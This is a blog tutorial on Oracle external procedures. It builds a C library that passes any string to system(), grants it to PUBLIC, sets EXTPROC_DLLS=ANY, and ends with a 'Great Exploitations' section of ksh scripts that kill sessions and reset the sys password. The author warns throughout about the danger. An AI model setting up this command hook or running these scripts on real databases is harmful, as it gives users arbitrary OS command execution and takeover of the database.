HOEKSTRA.CO.UK

Famous Posters

hoekstra.co.uk

Oracle External Procedures

It is possible to call O/S commands or third-party programs from within SQL or PL/SQL with external procedures. Let's build and install an External Procedure on an Oracle Database Server and see how we can call an O/S-level host command from within SQL code to do anything. No, actually, let's not. It is dangerous. Think of an ExtProc as a root kit for Oracle...

Overview

OK then, build an Oracle instance on a server that is out of harm's way. So far, this works for Oracle 8i, 9i and 10g. Note that Oracle 10g onwards also offers another way of making calls to external procedures using its DBMS_SCHEDULER package. This guide applies to UNIX and to a lesser extent to WINDOWS. The exploit shown is for educational purposes only, etc... In other words, don't do this at home, Boys and Girls!

Building and installing binaries

Pre-conditions

  • Oracle is installed on your server. See the article Oracle server construction guide if you have not done this sort of thing before.
  • The environment variables $ORACLE_SID, $ORACLE_HOME and $ORACLE_BASE are correctly set up. $ORACLE_SID should point to the database that you intent to install this in.
  • For UNIX and Linux: gcc/cc/aCC and gmake/make are on the path
  • For Win32: cl.exe and nmake.exe are on the path
  • You should be able to log on to your Oracle database as user 'oracle' (or whatever your Oracle admin user on your server is called) - at least once to deploy your ExtProc library.

Host Command Code

To illustrate the ExtProc process, we will build a simple little program that allows you to invoke as O/S command from Oracle's SQL or PL/SQL environment. Paste this code into you favourite editor:

  1. #ifdef _WIN32
  2. #include <windows.h>
  3. #define DLL_EXPORT __declspec(dllexport)
  4. #else
  5. #include <string.h>
  6. #define DLL_EXPORT
  7. #endif
  8.  
  9. #ifdef __cplusplus
  10. extern "C" {
  11. #endif
  12.  
  13. #include <stdlib.h>
  14. int DLL_EXPORT hostcmd(const char * cmd)
  15. {
  16.     return system( cmd);
  17. }
  18.  
  19. #ifdef __cplusplus
  20. }
  21. #endif

Once this code is installed on the server, it can be executed by the ORACLE DBA user. All forms of malicious command are possible with this command, including the ability to destroy the entire Oracle database from within Oracle itself with a "carefully constructed" SQL query. There is therefore a great security risk associated with using this strategy.

Building

Oracle's recommended way on UNIX

This will only build the required shared object binary, as suggested by Oracle. It is very particular on the way in which the Oracle environment has been set up, so it this does not work, try one of the other methods below:

  1. $ cc -c ${APPLICATION_HOME}/extprocs/hostcmd/hostcmd.c
  2. $ make -f ${ORACLE_HOME}/rdbms/demo/demo_rdbms.mk extproc_callback SHARED_LIBNAME=${APPLICATION_HOME}/extProcs/hostcmd/hostcmd.so OBJS=hostcmd.o

Using GCC on any UNIX flavour

If on a non-GNU UNIX, ensure that the linker is not a GNU linker but the linker  that came with the system.  For a 32-bit system:

  1. $ gcc -c hostcmd.c -o hostcmd.o
  2. $ ld -G hostcmd.o -o libhostcmd.so

    You can check the symbols used:

  1. $ nm -S libhostcmd.so

Using SUN's CC on Solaris SPARC

  1. $ cc -xarch=generic64 -G -o hostcmd.so -h libhostcmd.so -Kpic hostcmd.c

Using GCC and Solaris LD on Solaris SPARC

  1. $ gcc -m64 -c hostcmd.c -o hostcmd.o
  2. $ ld  -m64 -G hostcmd.o -o libhostcmd.so

 

Using aCC V1.21 on HP-UX PA-RISC 2.0

  1. $ aCC -O +DA2.0 +DS2.0 +z -b -c hostcmd.c -o libhostcmd.so

Do not use the stock cc C-compiler that comes with HP-UX. It is only good for rebuilding the kernel and is not ANSI-C complient. And even then it may not work. HP-UX seems a little brain-dead at the best if times. Still, for brain-deadness, nothing beats the following...

Windows

This will build the libhostcmd.dll dynamic link library in Windows:

  1. C:> cl -I. /LD /D "_WIN32" -Zi hostcmd.c /link msvcrt.lib /nod:libcmt /DLL /OUT:libhostcmd.dll

 

Installing your ExtProc library on Oracle

  • Copy the binary to a directoy that O/S user 'oracle' has access to,  referred to below as <LIBDIR>.

  • Log in to sqlplus as the appropriate user and create an Oracle library object:

  1. SQL> CREATE library libhostcmd AS '<LIBDIR>/libhostcmd.so';
  2. 2  /
  3.    
  4. Library created.

Note that <LIBDIR> should be an absolute path and not the relative path.

  • Create a function to the library. This is the depricated way to do it (but I like it more):

  1. SQL> CREATE OR REPLACE FUNCTION hostcmd(p_cmd IN varchar2)
  2.      2  RETURN binary_integer
  3.      3  AS external name "hostcmd"
  4.      4  library libhostcmd
  5.      5  LANGUAGE C
  6.      6  parameters (p_cmd STRING, RETURN INT);
  7.      7  /
  8. FUNCTION created.

  • Set up access rights (Warning: see NOTES section below):

  1. SQL> GRANT execute ON hostcmd TO public;

  • Optional: Make a synonym if you have the privileges 

  1. SQL> CREATE public synonym hostcmd FOR hostcmd

The binary does not actually need to exist when the library object is created. Binding to the binary library file only occurs at run time.

System configuration

The server configuration details that will enable the calling of external procedures from within Oracle are shown below. You might already have something have something similar from a previous installation, in which case you can skip this part.

You should ideally have a separate listener for external procedures. Ensure that the KEY and SID values in the tnsnames.ora file correlate to the KEY and SID values in the listener.ora file.

The following files reside in the $TNS_ADMIN directory (normally $ORACLE_HOME/network/admin) and should be amended to suit your environment.

File $TNS_ADMIN/listener.ora:

  1. # SET ORACLE_HOME TO your CURRENT environment
  2. SID_LIST_LISTENER =
  3.   (SID_LIST =
  4.     (SID_DESC =
  5.       (SID_NAME = PLSExtProc)
  6.       (ORACLE_HOME = /opt/oracle/product/10g)
  7.       (PROGRAM = extproc)
  8.       (ENVS="EXTPROC_DLLS=ANY")
  9.     )
  10.   )
  11.  
  12. # SET HOST = 0.0.0.0 TO compensate FOR a bug in 10.1.0.2 RELEASE OF the
  13. # Oracle listener - normally SET it TO DNS host name
  14. LISTENER =
  15.   (DESCRIPTION_LIST =
  16.     (DESCRIPTION =
  17.       (ADDRESS_LIST =
  18.         (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
  19.       )
  20.       (ADDRESS_LIST =
  21.         (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))
  22.       )
  23.     )
  24.   )

 

File $TNS_ADMIN/tnsnames.ora:

 

  1. EXTPROC_CONNECTION_DATA =
  2.   (DESCRIPTION =
  3.     (ADDRESS_LIST =
  4.       (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
  5.     )
  6.     (CONNECT_DATA =
  7.       (SID = PLSExtProc)
  8.       (PRESENTATION = RO)
  9.     )
  10.   )
  11.  
  12. # Instance descriptions as per this example
  13. SID_NAME =
  14.   (DESCRIPTION =
  15.     (ADDRESS = (PROTOCOL = TCP)(HOST = oracle1)(PORT = 1521))
  16.     (CONNECT_DATA =
  17.       (SERVER = DEDICATED)
  18.       (SERVICE_NAME = sid_name)
  19.     )
  20.   )

Configuration for two instances

File $TNS_ADMIN/listener.ora:

  1. # Listener configuration
  2. # This example supports two Oracle instances on server HAPPY
  3. LISTENER =
  4.   (DESCRIPTION_LIST =
  5.     (DESCRIPTION =
  6.       (ADDRESS_LIST =
  7.         (ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
  8.       )
  9.     )
  10.   )
  11.  
  12. CALLOUT_LISTENER =
  13.  (ADDRESS_LIST =
  14.     (ADDRESS =
  15.        (PROTOCOL = IPC)
  16.        (KEY = EXTPROC0)
  17.     )
  18.  )
  19.  
  20. SID_LIST_LISTENER =
  21.   (SID_LIST =
  22.     (SID_DESC =
  23.       (SID_NAME = INSTANCE1)
  24.     )
  25.     (SID_DESC =
  26.       (SID_NAME = INSTANCE2)
  27.     )
  28.   )
  29.  
  30. SID_LIST_CALLOUT_LISTENER =
  31.  (SID_LIST =
  32.     (SID_DESC =
  33.       (SID_NAME = PLSExtProc)
  34.       (ORACLE_HOME = /app/oracle/product/9.2.0)
  35.       (PROGRAM = extproc)
  36.       (ENVS="EXTPROC_DLLS=ANY")
  37.     )
  38.  )

File $TNS_ADMIN/tnsnames.ora:

  1. EXTPROC_CONNECTION_DATA.WORLD=
  2.  (DESCRIPTION=
  3.     (ADDRESS_LIST=
  4.       (ADDRESS= (PROTOCOL=IPC)(KEY=EXTPROC0))
  5.     )
  6.     (CONNECT_DATA=
  7.       (SID=PLSExtProc)
  8.       (PRESENTATION= RO)
  9.     )
  10.  )
  11.  
  12. INSTANCE1.WORLD =
  13.   (DESCRIPTION =
  14.     (ADDRESS_LIST =
  15.       (ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
  16.     )
  17.     (CONNECT_DATA =
  18.       (SERVICE_NAME = INSTANCE1)
  19.     )
  20.   )
  21.  
  22. INSTANCE2.WORLD =
  23.   (DESCRIPTION =
  24.     (ADDRESS_LIST =
  25.       (ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
  26.     )
  27.     (CONNECT_DATA =
  28.       (SERVICE_NAME = INSTANCE2)
  29.     )
  30.   )

File $TNS_ADMIN/sqlnet.ora:

You might not have a sqlnet.ora file. If you do, keep it simple and only have the following in it:

  1. NAMES.DIRECTORY_PATH= (TNSNAMES,ONAMES,HOSTNAME)

or in Oracle release 9 onwards:

  1. NAMES.DIRECTORY_PATH= (TNSNAMES, EZCONNECT)

Restart the Oracle listener

This will manifest the changes that you made in the listener.ora file:

  1. $ su - oracle
  2. $ lsnrctl stop
  3. $ lsnrctl start
  4. $ lsnrctl status 

Restart the database (as a last resort)

Only do this when none of your tests have succeeded.

  1. $ su - oracle
  2. $ sqlplus / as sysdba
  3. SQL> shutdown immediate
  4. SQL> startup

Testing

You can test the installation of this from within SQLPLUS:

  1. $ sqlplus /nolog
  2. SQL> connect / as sysdba
  3. SQL> set autoprint on
  4. SQL> variable i number;
  5. SQL> exec :i:=hostcmd('touch /tmp/test');

 - which should return 0 if the command succeeded, and <> 0 on failure.

You can test for the file's existance from within SQLPLUS by shelling out (use 'host' instead of '!' when running SQLPLUS from a DOS command line):

  1. SQL> ! ls /tmp/test

 - which should return:

  1. /tmp/test

 

Fault Finding

 

* ORA-28575: unable to open RPC connection...,

The server's listener configuration is still faulty. Sometimes restarting the listener helps. Ensure that the server's RPC daemons are running, e.g.

  1. $ ps -ef | grep rpc | grep -v grep

 - should display at least one rpc process, often something this on Solaris:

  1. root   495     1  0 13:16:32 ?        0:00 /usr/sbin/rpcbind

If you are still getting this problem, restart the listener. This often helps.

  1. $ lsnrctl stop && lsnrctl start

* ORA-28595: Extproc agent : Invalid DLL Path

By default, Oracle only considers DLL's and SO's in the path $ORACLE_HOME/bin and $ORACLE_HOME/lib. If a share object or DLL is installed somewhere else on the system, add the following statement to the listener configuration file $TNS_ADMIN/listener.ora. If you want to be unspecific (Note that this may have security implications):

  1. ENVS="EXTPROC_DLLS=ANY"

 If you know where your SO's or DLL are installed:

  1. ENVS="EXTPROC_DLLS=<absolute directoy>"

After having added it, remember to restart the listener service.

* ORA-XXXXX: ...wrong ELF class: ELFCLASS32

You are probably running Oracle on a 64-bit environment and you may have compiled the source code for 64 bits (using the -m64 option). However, the code was linked against a 32-bit library.

Fix:

Ensure that $ORACLE_HOME/lib appears before $ORACLE_HOME/lib32 in the LD_LIBRARY_PATH environment variable.

Debugging External Procedures

Oracle provides the DEBUG_EXTPROC package which allows you to launch the external procedure and return the PID. With this PID you can hook into the external procedure using a debugger. Needless to say, this is only useful if your operating system supports debuggers that can hook into running processes. This package needs to be installed by running the dbgextp.sql script from the $ORACLE_HOME/demo directory.

Great Exploitations

As discussed above, C-style external procedures can make your system extremely vulnerable to a malicious user with shell access. Here are some scripts that could allow an unprivileged user to do things that he probably was not intended to do:

Assassin script: Killing of Oracle Sessions

  1. #!/usr/bin/ksh
  2. if [[ -z $1 ]]; then
  3.   cat <<EOF
  4. Usage:        ${0##*/} PASSWD
  5. Achtung!      This script kills Oracle sessions.
  6. The utl.hostcmd function needs to be installed
  7. and that external procedures on Oracle are working
  8. Requirements: The PL/SQL hostcmd function and its binary library
  9. Parmaters:    1 SID
  10.               2 SERIAL#
  11. Environment:  ORACLE_SID should be defined.
  12. EOF
  13.   echo "Exiting..."
  14.   exit 1
  15. fi
  16.  
  17. SID=$1
  18. SERIAL=$2
  19. [[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
  20. LOGFILE=/tmp/${0##*/}.log
  21. TMPFILE=/tmp/${0##*/}$$
  22.  
  23. cat > $TMPFILE<<EOF
  24. #!/usr/bin/ksh
  25. ORACLE_SID=$ORACLE_SID
  26. VCR_HOME=$VCR_HOME
  27. COMMAND="alter system kill session '$1,$2'"
  28. echo "Killing oracle session '$1,$2' on Oracle instance $ORACLE_SID" >> $LOGFILE
  29. sqlplus  -s / >> $LOGFILE 2>&1 <<!
  30. $COMMAND;
  31. !
  32. RETCODE=$?
  33. echo $RETCODE >> $LOGFILE
  34. exit $RETCODE
  35. EOF
  36. chmod 777 $TMPFILE
  37.  
  38. # Execute script
  39. sqlplus  -s / >> $LOGFILE <<!
  40. set feedback off
  41. set autoprint on
  42. var RESULT number
  43. exec :RESULT:=utl.hostcmd('$TMPFILE');
  44. !
  45. rm -f $TMPFILE

How to change Oracle's 'sys' password 

  1. #!/usr/bin/ksh
  2. if [[ -z $1 ]]; then
  3.   cat <<EOF
  4. Usage:        ${0##*/} PASSWD
  5. Achtung!      This script attempts to set the sys user password by exploiting
  6. C-style external procedures.
  7. Use this with care and only in extreme cases!
  8. Requirements: The PL/SQL hostcmd function and its binary library
  9. Parmaters:    Desired PASSWD
  10. Environment:  ORACLE_SID should be defined.
  11. EOF
  12.   exit 1
  13. fi
  14.  
  15. PASSWD=$1
  16. [[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
  17. LOGFILE=/tmp/${0##*/}.log
  18. TMPFILE=/tmp/${0##*/}$$
  19.  
  20. # Create script that will be run as Oracle user sys:
  21. cat > $TMPFILE<<EOF
  22. #!/usr/bin/ksh
  23. ORACLE_SID=$ORACLE_SID
  24. COMMAND="alter user sys identified by $PASSWD"
  25. echo "Changing sys password on Oracle instance $ORACLE_SID" | tee -a $LOGFILE
  26. sqlplus / >> $LOGFILE 2>&1 <<!
  27. $COMMAND;
  28. !
  29.  
  30. RETCODE=$?
  31. echo $RETCODE >> $LOGFILE
  32. exit $RETCODE
  33. EOF
  34. chmod 777 $TMPFILE
  35.  
  36. # Execute script
  37. sqlplus  / >> $LOGFILE <<!
  38. set feedback off
  39. set autoprint on
  40. var RESULT number
  41. exec :RESULT:=utl.hostcmd('$TMPFILE');
  42. quit :RESULT
  43. !
  44.  
  45. RETCODE=$?
  46. # Clean up
  47. rm -f $TMPFILE
  48. exit $RETCODE

Final Notes

  1. It is only necessary to register an external procedure once,  unless the interfaces to the procedure changes. Subsequent rebuilds due to code changes in the external procedures do not affect the registration with Oracle.
  2. When registering an external procedure, it is essential to state the absolute path of the binary that holds the external procedure(s).
  3. Once an Oracle session has executed an external procedure, it has been found that the session can lock the binary for some time. This can slow the development / test iteration cycle down, but can be circumvented by restarting the Oracle session (e.g. log out and then in again).
  4. An external procedure has permission to execute any commands that the O/S user 'oracle' is able to execute. It is therefore wise to sandbox the O/S user 'oracle'.
  5. On UNIX (as opposed to Linux), ensure that the linker is not a GNU linker, but is the proprietary linker that came with the system.

Other Reading

  1. Oracle Application Developer's Guide - Fundamentals. Chapter 10 - Calling External Procedures.
  2. Oracle Supplied PL/SQL Packages and Type Reference. Chapter 92 - DEBUG_EXTPROC.

© Gerrit Hoekstra